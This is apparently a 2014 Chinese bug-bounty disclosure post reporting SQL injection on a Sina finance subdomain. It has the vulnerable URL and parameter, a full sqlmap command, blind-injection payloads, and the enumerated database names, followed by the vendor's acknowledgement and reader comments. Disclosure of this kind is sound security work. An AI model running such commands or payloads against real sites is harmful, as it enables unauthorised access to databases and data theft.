新浪某分站SQL注入

http://stock2.finance.sina.com.cn/sf/api/jsonp.php/aaa=johansen082447293183438691409578322670/dataService.getNoticeList?type=%E5%85%B6%E4%BB%96&index=1&court=&pageNum=undefined

注入点： type

:/pentest/database/sqlmap# python sqlmap.py -u "http://stock2.finance.sina.com.cn/sf/api/jsonp.php/aaa=johansen082447293183438691409578322670/dataService.getNoticeList?type=%E5%85%B6%E4%BB%96&index=1&court=&pageNum=undefined" -p type --dbms=mysql --dbs

sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:58:29

[21:58:29] [INFO] testing connection to the target url

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: type

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: type=其他' AND 4082=4082 AND 'xfgz'='xfgz&index=1&court=&pageNum=undefined

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: type=其他' AND SLEEP(5) AND 'weDc'='weDc&index=1&court=&pageNum=undefined

---

[21:58:29] [INFO] testing MySQL

[21:58:30] [INFO] confirming MySQL

[21:58:31] [INFO] the back-end DBMS is MySQL

web application technology: Apache

back-end DBMS: MySQL >= 5.0.0

[21:58:31] [INFO] fetching database names

[21:58:31] [INFO] fetching number of databases

[21:58:31] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[21:58:31] [INFO] retrieved: 3

[21:58:34] [INFO] retrieved: information_schema

[21:59:31] [INFO] retrieved: sf_db

[21:59:49] [INFO] retrieved: test

available databases [3]:

[*] information_schema

[*] sf_db

[*] test

过滤

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-09-02 11:21

厂商回复：

感谢关注新浪安全，漏洞正在修复中。

最新状态：

暂无

1. 2014-09-01 22:58 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

   1

   沙发

   1# 回复此人

2. 2014-09-01 23:00 | 卡卡 ( 普通白帽子 | Rank:468 漏洞数:57 | <script>alert('安全团队长期招人')</scrip...)

   0

   好厉害！

   2# 回复此人

3. 2014-09-01 23:04 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

   1

   牛淫又发飚了。

   3# 回复此人

4. 2014-09-01 23:20 | 宇宙第一酷 ( 路人 | Rank:4 漏洞数:1 )

   0

   还说发现漏洞运气好。。

   4# 回复此人

5. 2014-09-02 00:14 | Smilent ( 实习白帽子 | Rank:48 漏洞数:8 | None)

   1

   你关注的白帽子 Jannock 发表了漏洞 新浪某分站SQL注入

   5# 回复此人

6. 2014-09-02 00:34 | 疯狂的dabing ( 实习白帽子 | Rank:33 漏洞数:9 | Hehe is golden.)

   0

   一哥别这样。。。

   6# 回复此人

7. 2014-10-17 09:24 | 【|→上善若水】 ( 普通白帽子 | Rank:127 漏洞数:25 | 【|→上善若水】)

   0

   你这些域名怎么爆出来的啊！这都好几级域名了！

   7# 回复此人